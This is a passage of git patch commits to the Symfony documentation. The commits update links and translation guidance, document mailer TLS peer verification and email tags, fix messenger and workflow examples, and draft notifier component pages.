-.. _bin/console: https://github.com/symfony/symfony-standard/blob/master/bin/console
-.. _AppKernel: https://github.com/symfony/symfony-standard/blob/master/app/AppKernel.php
+.. _app.php: https://github.com/symfony/symfony-standard/blob/3.4/web/app.php
+.. _app_dev.php: https://github.com/symfony/symfony-standard/blob/3.4/web/app_dev.php
+.. _bin/console: https://github.com/symfony/symfony-standard/blob/3.4/bin/console
+.. _AppKernel: https://github.com/symfony/symfony-standard/blob/3.4/app/AppKernel.php
 .. _decorate: https://en.wikipedia.org/wiki/Decorator_pattern
-.. _RewriteRule shipped with the Symfony Standard Edition: https://github.com/symfony/symfony-standard/blob/master/web/.htaccess
+.. _RewriteRule shipped with the Symfony Standard Edition: https://github.com/symfony/symfony-standard/blob/3.4
+/web/.htaccess
 .. _template methods: https://en.wikipedia.org/wiki/Template_method_pattern

From 000ebb510df9d992280d434ba20dfb81e34cbe07 Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Tue, 28 Jan 2020 15:09:19 +0100
Subject: [PATCH 0209/7107] composer issue for prefer-lowest has been fixed

---
 bundles/best_practices.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 83a705dfe46..3dcd90036dc 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -227,8 +227,6 @@ of Symfony and the latest beta release:
         - if ! [ -v "$DEPENDENCIES" ]; then composer require --no-update ${DEPENDENCIES}; fi;
 
     install:
-        # To be removed when this issue will be resolved: https://github.com/composer/composer/issues/5355
-        - if [[ "$COMPOSER_FLAGS" == *"--prefer-lowest"* ]]; then composer update --prefer-dist --no-interaction --prefer-stable --quiet; fi
         - composer update ${COMPOSER_FLAGS} --prefer-dist --no-interaction
         - ./vendor/bin/simple-phpunit install
 

From 37ce66cade4fc71f266eb56892a26a3a61233704 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 29 Jan 2020 12:32:51 +0100
Subject: [PATCH 0210/7107] [Messenger] Document Redis TLS support

---
 messenger.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/messenger.rst b/messenger.rst
index ac1213d25c0..432bc52b4fd 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -913,6 +913,7 @@ stream_max_entries  The maximum number of entries which    ``0`` (which means "n
                     the stream will be trimmed to. Set
                     it to a large enough number to
                     avoid losing pending messages
+tls                 Enable TLS support for the connection  false
 ==================  =====================================  =========================
 
 In Memory Transport

From ff2b2fc6390b2e5a2d0cbdaa98dc7933fc997b38 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 29 Jan 2020 13:10:04 +0100
Subject: [PATCH 0211/7107] Remove old versionadded

---
 configuration.rst         | 4 ----
 configuration/secrets.rst | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index caa2a25cb61..781683ad577 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -644,10 +644,6 @@ their values by running:
     # run this command to show all the details for a specific env var:
     $ php bin/console debug:container --env-var=FOO
 
-.. versionadded:: 4.3
-
-    The option to debug environment variables was introduced in Symfony 4.3.
-
 .. _configuration-accessing-parameters:
 
 Accessing Configuration Parameters
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index f1294143732..86329773b90 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -4,10 +4,6 @@
 How to Keep Sensitive Information Secret
 ========================================
 
-.. versionadded:: 4.4
-
-    The Secrets management was introduced in Symfony 4.4.
-
 :ref:`Environment variables <config-env-vars>` are the best way to store configuration
 that depends on where the application is run - for example, some API key that
 might be set to one value while developing locally and another value on production.

From 28a391a10154518f8de3068d5d64dc61fe39cb1a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20Fontaine?= <a.fontaine@naitways.com>
Date: Tue, 28 Jan 2020 09:53:48 +0100
Subject: [PATCH 0212/7107] [Mailer] add ability to disable the TLS peer
 verification via DSN

---
 components/mailer.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/components/mailer.rst b/components/mailer.rst
index 97f258167dc..60f65201785 100644
--- a/components/mailer.rst
+++ b/components/mailer.rst
@@ -142,6 +142,16 @@ The mailer will start using the first transport and if it fails, it will retry
 the same delivery with the next transports until one of them succeeds (or until
 all of them fail).
 
+TLS Peer Verification
+---------------------
+
+SMTP tranports supports TLS peer verification by default, but in some cases, you 
+may want to turn this off. For example, in a development environment.
+
+In such case, add the `verify_peer` parameter to the DSN::
+
+    $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=false'
+
 Sending emails asynchronously
 -----------------------------
 

From 56783dab79e8a518cf6360ebc40850e82ecb2113 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 30 Jan 2020 08:58:46 +0100
Subject: [PATCH 0213/7107] Reword

---
 components/mailer.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/components/mailer.rst b/components/mailer.rst
index 60f65201785..de99cf09639 100644
--- a/components/mailer.rst
+++ b/components/mailer.rst
@@ -145,13 +145,17 @@ all of them fail).
 TLS Peer Verification
 ---------------------
 
-SMTP tranports supports TLS peer verification by default, but in some cases, you 
-may want to turn this off. For example, in a development environment.
-
-In such case, add the `verify_peer` parameter to the DSN::
+By default, SMTP transports perform TLS peer verification. This behavior is
+configurable with the ``verify_peer`` option. Although it's not recommended to
+disable this verification for security reasons, it can be useful while developing
+the application or when using a self-signed certificate::
 
     $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=false'
 
+.. versionadded:: 5.1
+
+    The ``verify_peer`` option was introduced in Symfony 5.1.
+
 Sending emails asynchronously
 -----------------------------
 

From 5272a25d4b00177cef3596d4ac29eaa34d672671 Mon Sep 17 00:00:00 2001
From: Simon Schubert <si.schubert@live.de>
Date: Sat, 25 Jan 2020 22:03:02 +0100
Subject: [PATCH 0214/7107] =?UTF-8?q?Workflow:=20align=20Example=20for=20p?=
 =?UTF-8?q?roperty=20access=20with=20implementation=20of=20Me=E2=80=A6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 workflow.rst | 21 ++++++++++++++++-----
 1 file changed, 16 insertions(+), 5 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 0c15a7e1b7f..70188d54e97 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -160,14 +160,25 @@ like this:
     If you are creating your first workflows, consider using the ``workflow:dump``
     command to :doc:`debug the workflow contents </workflow/dumping-workflows>`.
 
-As configured, the following property is used by the marking store::
+The configured property will be used via it's implemented getter/setter methods by the marking store::
 
     class BlogPost
     {
-        // This property is used by the marking store
-        public $currentPlace;
-        public $title;
-        public $content;
+        // the configured property must be declared
+        private $currentPlace;
+        private $title;
+        private $content;
+
+        // getter/setter methods must exist for property access by the marking store
+        public function getCurrentPlace()
+        {
+            return $this->currentPlace;
+        }
+
+        public function setCurrentPlace($currentPlace, $context = [])
+        {
+            $this->currentPlace = $currentPlace;
+        }
     }
 
 .. note::

From 079ff7339df4a0e32923d217c33fd7d88996e35d Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@jolicode.com>
Date: Thu, 16 Jan 2020 17:48:20 +0100
Subject: [PATCH 0215/7107] [Translation] Added tip about the incompatibility
 of % character

---
 translation/message_format.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index 54672de3b43..0b282b3ab6c 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -70,6 +70,11 @@ The basic usage of the MessageFormat allows you to use placeholders (called
             'say_hello' => "Hello {name}!",
         ];
 
+
+.. caution::
+
+    With the previous format, placeholders were often named between ``%``. This character is no longer valid with the ICU MessageFormat syntax. Be careful to rename your parameters.
+
 Everything within the curly braces (``{...}``) is processed by the formatter
 and replaced by its placeholder::
 

From 8a19cc12fe545c9bb45bb1a234e6e63b7b720058 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 30 Jan 2020 11:56:17 +0100
Subject: [PATCH 0216/7107] Minor. refs #12949

---
 translation/message_format.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index 0b282b3ab6c..1a1e51805db 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -73,7 +73,9 @@ The basic usage of the MessageFormat allows you to use placeholders (called
 
 .. caution::
 
-    With the previous format, placeholders were often named between ``%``. This character is no longer valid with the ICU MessageFormat syntax. Be careful to rename your parameters.
+    With the previous format, placeholders were often named between ``%``. This
+    character is no longer valid with the ICU MessageFormat syntax. Be careful
+    to rename your parameters.
 
 Everything within the curly braces (``{...}``) is processed by the formatter
 and replaced by its placeholder::

From 1111c0bed16defe96bbb60240b236170a17737fe Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 30 Jan 2020 11:56:29 +0100
Subject: [PATCH 0217/7107] Minor

---
 translation/message_format.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index 1a1e51805db..1f0bdf6696b 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -115,7 +115,7 @@ typical usage of this is gender:
                 <body>
                     <trans-unit id="invitation_title">
                         <source>invitation_title</source>
-                        <target>{organizer_gender, select, 
+                        <target>{organizer_gender, select,
                             female {{organizer_name} has invited you for her party!}
                             male {{organizer_name} has invited you for his party!}
                             other {{organizer_name} have invited you for their party!}

From a32baecb7ff3a7e4ca6d78e8b4eb28312c282259 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Fri, 31 Jan 2020 09:47:42 +0100
Subject: [PATCH 0218/7107] fix XML config example

---
 messenger.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 8fcf1309830..8afce615c1a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -534,7 +534,9 @@ different messages to them. For example:
             <framework:config>
                 <framework:messenger>
                     <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%">
-                        <option key="queue_name">high</option>
+                        <framework:options>
+                            <framework:queue_name>high</framework:queue_name>
+                        </framework:options>
                     </framework:transport>
                     <framework:transport name="async_priority_low" dsn="%env(MESSENGER_TRANSPORT_DSN)%">
                         <option key="queue_name">low</option>

From eb7158bd92088f016db8349c0e98ed9246374236 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 22 Jan 2020 11:25:08 +0100
Subject: [PATCH 0219/7107] Promote usage of a single translation domain

---
 bundles/override.rst        |  2 +-
 translation.rst             | 38 ++++++++++++-------------------------
 validation/translations.rst |  2 +-
 3 files changed, 14 insertions(+), 28 deletions(-)

diff --git a/bundles/override.rst b/bundles/override.rst
index a66c277fe2f..e90db9b9315 100644
--- a/bundles/override.rst
+++ b/bundles/override.rst
@@ -135,6 +135,6 @@ Translations
 
 Translations are not related to bundles, but to domains. That means that you
 can override the translations from any translation file, as long as it is in
-:ref:`the correct domain <using-message-domains>`.
+:ref:`the correct domain <translation-resource-locations>`.
 
 .. _`the Doctrine documentation`: http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/reference/inheritance-mapping.html#overrides
diff --git a/translation.rst b/translation.rst
index 2ea8a7e7248..5c3ff5553ad 100644
--- a/translation.rst
+++ b/translation.rst
@@ -249,27 +249,12 @@ To actually translate the message, Symfony uses a simple process:
 When using the ``trans()`` method, Symfony looks for the exact string inside
 the appropriate message catalog and returns it (if it exists).
 
-.. _using-message-domains:
-
-Using Message Domains
-~~~~~~~~~~~~~~~~~~~~~
-
-As you've seen, message files are organized into the different locales that
-they translate. The message files can also be organized further into "domains".
-
-The domain is the filename without the extension. The default domain is
-``messages``. Translations can for example be split into three different
-domains: ``messages``, ``admin`` and ``navigation``. The French translation
-would be organized in these files:
-
-* ``app/Resources/translations/messages.fr.yml``
-* ``app/Resources/translations/admin.fr.yml``
-* ``app/Resources/translations/navigation.fr.yml``
+.. tip::
 
-When translating strings that are not in the default domain (``messages``),
-you must specify the domain as the third argument of ``trans()``::
+    When translating strings that are not in the default domain (``messages``),
+    you must specify the domain as the third argument of ``trans()``::
 
-    $translator->trans('Symfony is great', [], 'admin');
+        $translator->trans('Symfony is great', [], 'admin');
 
 Message Placeholders
 ~~~~~~~~~~~~~~~~~~~~
@@ -520,18 +505,18 @@ works when you use a placeholder following the ``%var%`` pattern.
     If you need to use the percent character (``%``) in a string, escape it by
     doubling it: ``{% trans %}Percent: %percent%%%{% endtrans %}``
 
-You can also specify the message domain and pass some additional variables:
+You can also pass some additional variables and specify the message domain:
 
 .. code-block:: twig
 
-    {% trans with {'%name%': 'Fabien'} from 'app' %}Hello %name%{% endtrans %}
-
-    {% trans with {'%name%': 'Fabien'} from 'app' into 'fr' %}Hello %name%{% endtrans %}
+    {% trans with {'%name%': 'Fabien'} into 'fr' %}Hello %name%{% endtrans %}
 
-    {% transchoice count with {'%name%': 'Fabien'} from 'app' %}
+    {% transchoice count with {'%name%': 'Fabien'} %}
         {0} %name%, there are no apples|{1} %name%, there is one apple|]1,Inf[ %name%, there are %count% apples
     {% endtranschoice %}
 
+    {% trans with {'%name%': 'Fabien'} from 'custom_domain' %}Hello %name%{% endtrans %}
+
 .. _translation-filters:
 
 The ``trans`` and ``transchoice`` filters can be used to translate *variable
@@ -670,8 +655,9 @@ priority message files.
 The filename of the translation files is also important: each message file
 must be named according to the following path: ``domain.locale.loader``:
 
-* **domain**: An optional way to organize messages into groups (e.g. ``admin``,
-  ``navigation`` or the default ``messages``) - see :ref:`using-message-domains`;
+* **domain**: An optional way to organize messages into groups. Unless
+  parts of the application are explicitly separated from each other, it is
+  recommended to only use default ``messages`` domain;
 
 * **locale**: The locale that the translations are for (e.g. ``en_GB``, ``en``, etc);
 
diff --git a/validation/translations.rst b/validation/translations.rst
index a7f40a75515..74689ba135d 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -6,7 +6,7 @@ How to Translate Validation Constraint Messages
 
 If you're using validation constraints with the Form component, you can translate
 the error messages by creating a translation resource for the
-``validators`` :ref:`domain <using-message-domains>`.
+``validators`` :ref:`domain <translation-resource-locations>`.
 
 To start, suppose you've created a plain-old-PHP object that you need to
 use somewhere in your application::

From 424f35afdb9e9c0e5eec587d679eb75960949ab3 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Fri, 31 Jan 2020 06:29:58 -0500
Subject: [PATCH 0220/7107] [mailer] add tag and metadata docs

---
 mailer.rst | 41 +++++++++++++++++++++++++++++++++++++++++
 1 file changed, 41 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index d407a0568c6..a3e3866aa72 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -730,6 +730,47 @@ adding a text header ``X-Transport`` to an email::
     $email->getHeaders()->addTextHeader('X-Transport', 'important');
     $mailer->send($email);
 
+Adding Tags and Metadata to Emails
+----------------------------------
+
+Certain 3rd party transports support email *tags* and *metadata*. These can be
+used by the 3rd party service for grouping, tracking and workflows. The
+:class:`Symfony\\Component\\Mailer\\Header\\TagHeader` and
+:class:`Symfony\\Component\\Mailer\\Header\\MetadataHeader` headers can be
+added to your email. If your transport supports these headers, they will be
+applied in the format specific to the transport.
+
+.. versionadded:: 5.1
+
+    The :class:`Symfony\\Component\\Mailer\\Header\\TagHeader` and
+    :class:`Symfony\\Component\\Mailer\\Header\\MetadataHeader` classes were
+    introduced in Symfony 5.1.
+
+The following 3rd party transports currently support tags and metadata:
+
+* Postmark
+* Mailgun
+* MailChimp
+
+For example, say you want to tag an email and add some metadata::
+
+    use Symfony\Component\Mailer\Header\MetadataHeader;
+    use Symfony\Component\Mailer\Header\TagHeader;
+
+    $email->getHeaders()->add(new TagHeader('password-reset'));
+    $email->getHeaders()->add(new MetadataHeader('Color', 'blue'));
+    $email->getHeaders()->add(new MetadataHeader('Client-ID', '12345'));
+
+When sending this email with a transport that supports tags and metadata, the transport
+will convert these to their appropriate format. If using a transport that does not
+support tags and metadata, they will be added as custom headers:
+
+.. code-block:: text
+
+    X-Tag: password-reset
+    X-Metadata-Color: blue
+    X-Metadata-Client-ID: 12345
+
 Development & Debugging
 -----------------------
 

From c0f9bfa43d284991ab88f6703ac339e8c60222d3 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 1 Feb 2020 12:55:13 +0100
Subject: [PATCH 0221/7107] [#12861] Tweak translation articles for 4.3
 component changes

---
 translation.rst       | 17 ++++++++++-------
 translation/xliff.rst |  2 +-
 2 files changed, 11 insertions(+), 8 deletions(-)

diff --git a/translation.rst b/translation.rst
index ab07066fb8e..d96f6565699 100644
--- a/translation.rst
+++ b/translation.rst
@@ -504,15 +504,19 @@ to learn more about how to handle it.
 Fallback Translation Locales
 ----------------------------
 
-Imagine that the user's locale is ``fr_FR`` and that you're translating the
-key ``Symfony is great``. To find the French translation, Symfony actually
+Imagine that the user's locale is ``es_AR`` and that you're translating the
+key ``Symfony is great``. To find the Spanish translation, Symfony actually
 checks translation resources for several locales:
 
-#. First, Symfony looks for the translation in a ``fr_FR`` translation resource
-   (e.g. ``messages.fr_FR.xlf``);
+#. First, Symfony looks for the translation in a ``es_AR`` (Argentinean
+   Spanish) translation resource (e.g. ``messages.es_AR.yaml``);
 
-#. If it wasn't found, Symfony looks for the translation in a ``fr`` translation
-   resource (e.g. ``messages.fr.xlf``);
+#. If it wasn't found, Symfony looks for the translation in the
+   parent locale, which is automatically defined only for some locales. In
+   this example, the parent locale is ``es_419`` (Latin American Spanish);
+
+#. If it wasn't found, Symfony looks for the translation in a ``es``
+   (Spanish) translation resource (e.g. ``messages.es.yaml``);
 
 #. If the translation still isn't found, Symfony uses the ``fallbacks`` configuration
    parameter, which defaults to ``en`` (see `Configuration`_).
@@ -570,7 +574,6 @@ Learn more
 .. _`i18n`: https://en.wikipedia.org/wiki/Internationalization_and_localization
 .. _`ICU MessageFormat`: http://userguide.icu-project.org/formatparse/messages
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes
-.. _`ISO 31-11`: https://en.wikipedia.org/wiki/Interval_(mathematics)#Notations_for_intervals
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
 .. _`Translatable Extension`: http://atlantic18.github.io/DoctrineExtensions/doc/translatable.html
 .. _`Translatable Behavior`: https://github.com/KnpLabs/DoctrineBehaviors
diff --git a/translation/xliff.rst b/translation/xliff.rst
index c81620929b8..56053e7b17a 100644
--- a/translation/xliff.rst
+++ b/translation/xliff.rst
@@ -27,7 +27,7 @@ loaded/dumped inside a Symfony application:
     <xliff xmlns="urn:oasis:names:tc:xliff:document:2.1" version="2.1"
         srcLang="fr-FR" trgLang="en-US">
         <file id="messages.en_US">
-            <unit id="LCa0a2j">
+            <unit id="LCa0a2j" name="original-content">
                 <notes>
                     <note category="state">new</note>
                     <note category="approved">true</note>

From 98da366d33fea3db2e9a5d690cffc832f75108aa Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 1 Feb 2020 13:34:57 +0100
Subject: [PATCH 0222/7107] [#12861] Tweaked translation docs for 4.4 component
 changes

---
 translation.rst | 82 ++++++++++++++++++++++---------------------------
 1 file changed, 37 insertions(+), 45 deletions(-)

diff --git a/translation.rst b/translation.rst
index d8b2cf328b7..bc2f8e03a72 100644
--- a/translation.rst
+++ b/translation.rst
@@ -327,14 +327,6 @@ use for translation::
         'fr_FR'
     );
 
-    $translator->transChoice(
-        '{0} There are no apples|{1} There is one apple|]1,Inf[ There are %count% apples',
-        10,
-        [],
-        'messages',
-        'fr_FR'
-    );
-
 Extracting Translation Contents and Updating Catalogs Automatically
 -------------------------------------------------------------------
 
@@ -520,43 +512,43 @@ checks translation resources for several locales:
 #. If the translation still isn't found, Symfony uses the ``fallbacks`` option,
    which can be configured as follows:
 
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/translation.yaml
-        framework:
-            translator:
-                fallbacks: ['en']
-                # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/translation.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:translator>
-                    <framework:fallback>en</framework:fallback>
-                    <!-- ... -->
-                </framework:translator>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/translation.php
-        $container->loadFromExtension('framework', [
-            'translator' => ['fallbacks' => ['en']],
-            // ...
-        ]);
+   .. configuration-block::
+
+       .. code-block:: yaml
+
+           # config/packages/translation.yaml
+           framework:
+               translator:
+                   fallbacks: ['en']
+                   # ...
+
+       .. code-block:: xml
+
+           <!-- config/packages/translation.xml -->
+           <?xml version="1.0" encoding="UTF-8" ?>
+           <container xmlns="http://symfony.com/schema/dic/services"
+               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+               xmlns:framework="http://symfony.com/schema/dic/symfony"
+               xsi:schemaLocation="http://symfony.com/schema/dic/services
+                   https://symfony.com/schema/dic/services/services-1.0.xsd
+                   http://symfony.com/schema/dic/symfony
+                   https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+               <framework:config>
+                   <framework:translator>
+                       <framework:fallback>en</framework:fallback>
+                       <!-- ... -->
+                   </framework:translator>
+               </framework:config>
+           </container>
+
+       .. code-block:: php
+
+           // config/packages/translation.php
+           $container->loadFromExtension('framework', [
+               'translator' => ['fallbacks' => ['en']],
+               // ...
+           ]);
 
 .. deprecated:: 4.4
 

From ad251c58c6b0d6a5388a24d8e2a2518c9befdfda Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 1 Feb 2020 14:14:04 +0100
Subject: [PATCH 0223/7107] Removed leftover 3.4 versionadded directive

---
 translation/xliff.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/translation/xliff.rst b/translation/xliff.rst
index 56053e7b17a..a3c3daab43e 100644
--- a/translation/xliff.rst
+++ b/translation/xliff.rst
@@ -9,10 +9,6 @@ has some specific features.
 Adding Notes to Translation Contents
 ------------------------------------
 
-.. versionadded:: 3.4
-
-    The feature to load and dump translation notes was introduced in Symfony 3.4.
-
 Sometimes translators need additional context to better decide how to translate
 some content. This context can be provided with notes, which are a collection of
 comments used to store end user readable information. The only format that

From 42fd9f76ff111a9b274573bce0e31ef80b74a7bb Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 1 Feb 2020 15:43:11 +0100
Subject: [PATCH 0224/7107] Added the other two removed component articles to
 the redirection map

---
 _build/redirection_map | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/_build/redirection_map b/_build/redirection_map
index 21a74195a20..ccb41e8ada9 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -371,3 +371,5 @@
 /components/debug https://github.com/symfony/debug
 /components/translation https://github.com/symfony/translation
 /components/translation/usage /translation
+/components/translation/custom_formats https://github.com/symfony/translation
+/components/translation/custom_message_formatter https://github.com/symfony/translation

From 87098c2cf5199772e826ac9a9a41f695391690a6 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 3 Feb 2020 21:51:03 +0100
Subject: [PATCH 0225/7107] Fixed missing reference error

---
 translation/message_format.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index 1f0bdf6696b..4c660c7023a 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -19,8 +19,8 @@ handle this, the Translator component supports the `ICU MessageFormat`_ syntax.
 Using the ICU Message Format
 ----------------------------
 
-In order to use the ICU Message Format, the :ref:`message domain
-<using-message-domains>` has to be suffixed with ``+intl-icu``:
+In order to use the ICU Message Format, the message domain has to be
+suffixed with ``+intl-icu``:
 
 ======================  ===============================
 Normal file name        ICU Message Format filename

From e7568e1c1a222f2e45d5f73517d2dab4d2b6b89c Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 3 Feb 2020 22:16:55 +0100
Subject: [PATCH 0226/7107] Fixed deadlink to Translation components docs

---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 70188d54e97..db131726b85 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -515,7 +515,7 @@ In the example we get this message from the
 central place to manage the text.
 
 This example has been simplified; in production you may prefer to use the
-:doc:`Translation </components/translation>` component to manage messages in one
+:doc:`Translation </translation>` component to manage messages in one
 place::
 
     namespace App\Listener\Workflow\Task;

From 4810fbfc6698c54b800003c4944ed4c460cd451f Mon Sep 17 00:00:00 2001
From: "gary.houbre" <gary.houbre@gmail.com>
Date: Sat, 23 Nov 2019 16:53:10 +0100
Subject: [PATCH 0227/7107] WIP Notifer Page

---
 notifier.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)
 create mode 100644 notifier.rst

diff --git a/notifier.rst b/notifier.rst
new file mode 100644
index 00000000000..40783e795fd
--- /dev/null
+++ b/notifier.rst
@@ -0,0 +1,22 @@
+.. index::
+   single: Notifier
+
+Notifier
+========================
+
+Sends notifications via one or more channels (email, SMS, Slack, Telegram, ...)
+
+
+Installation
+------------
+
+First, run this command to install the notifier before using it:
+
+.. code-block:: terminal
+
+    $ composer require symfony/notifier
+
+
+Usage
+------------
+

From 34f23d0d6a0f13f42aad2e1892130e32e55c5fee Mon Sep 17 00:00:00 2001
From: andreybolonin <andreybolonin1989@gmail.com>
Date: Wed, 25 Dec 2019 16:12:29 +0200
Subject: [PATCH 0228/7107] add notifier.rst

---
 components/notifier.rst | 158 ++++++++++++++++++++++++++++++++++++++--
 1 file changed, 152 insertions(+), 6 deletions(-)

diff --git a/components/notifier.rst b/components/notifier.rst
index 29fac4f81f0..5a7de10eb4d 100644
--- a/components/notifier.rst
+++ b/components/notifier.rst
@@ -1,5 +1,4 @@
 .. index::
-   single: Notifier
    single: Notifications
    single: Components; Notifier
 
@@ -14,6 +13,9 @@ The Notifier Component
     The Notifier component was introduced in Symfony 5.0 as an
     :doc:`experimental feature </contributing/code/experimental>`.
 
+If you're using the Symfony Framework, read the
+:doc:`Symfony Framework Notifier documentation </notifier>`.
+
 Installation
 ------------
 
@@ -23,11 +25,155 @@ Installation
 
 .. include:: /components/require_autoload.rst.inc
 
-
-Usage
+Email
 -----
 
-.. caution::
+The Notifier component has notify you when something goes wrong::
+
+    use Symfony\Bridge\Twig\Mime\NotificationEmail;
+    use Symfony\Component\Mailer\Mailer;
+    use Symfony\Component\Mailer\Transport\Smtp\EsmtpTransport;
+
+    $transport = new EsmtpTransport('localhost');
+    $mailer = new Mailer($transport);
+
+    $email = (new NotificationEmail())
+        ->form('fabien@symfony.com')
+        ->to('fabien@symfony.com')
+        ->exception($exception);
+
+    $mailer->send($email);
+
+The ``$email`` object is created via the :doc:`Mime component </components/mime>`.
+
+And configurable email template::
+
+    $email = (new NotificationEmail())
+        ->htmlEmail('email/system.html.twig')
+        ->textEmail('email/system.txt.twig');
+
+With template::
+
+    {% extends "@email/system.html.twig" %}
+    {% block style %}
+        {{ parent() }}
+        .container.body_alert {
+            border-top: 30px solid #ec5840;
+        }
+    {% endblock %}
+    {% block lines %}
+        This is an automated email for the MyApp application.
+        {{ parent() }}
+    {% endblock %}
+    {% block action %}
+        {{ parent() }}
+        <spacer size="16"></spacer>
+        <button class="secondary" href="https://myapp.com/">Go to MyApp</button>
+    {% endblock %}
+    {% block exception %}{% endblock %}
+    {% block footer_content %}
+        <p><small>&copy; MyApp</small></p>
+    {% endblock %}
+
+
+SMS
+---------
+
+Sending SMS Messages the easy way::
+
+    /**
+    * @Route("/checkout/thankyou")
+    */
+    public function thankyou(Texter $texter /* ... */) {
+        $sms = new SmsMessage('+1415999888', 'Revenue has just increased by 1€ per year!');
+        $texter->send($sms);
+
+        return $this->render('checkout/thankyou.html.twig', [
+            // ...
+        ]);
+    }
+
+Below is the list of other popular provider with built-in support:
+
+==================
+Service
+==================
+Telegram
+Nexmo
+Slack
+Twilio
+==================
+
+SMS low-level API::
+
+    $sms = new SmsMessage('+1415999888', 'Revenue has just increased!');
+    $twilio = Transport::fromDsn('twilio://SID:TOKEN@default?from=FROM');
+    $twilio->send($sms);
+    $nexmo = Transport::fromDsn('nexmo://KEY:SECRET@default?from=FROM');
+    $nexmo->send($sms);
+
+SMS... higher-level API::
+
+    $texter = new Texter($twilio, $bus);
+    $texter->send($sms);
+    $transports = new Transports(['twilio' => $twilio, 'nexmo' => $nexmo]);
+    $texter = new Texter($transports, $bus);
+    $texter->send($sms);
+    $sms->setTransport('nexmo');
+    $texter->send($sms);
+    $bus->dispatch($sms);
+
+    $dsn = 'failover(twilio://SID:TOKEN@default?from=FROM nexmo://KEY:SECRET@default?from=FROM)';
+
+Message
+---------
+
+Sending Messages the easy way::
+
+    /**
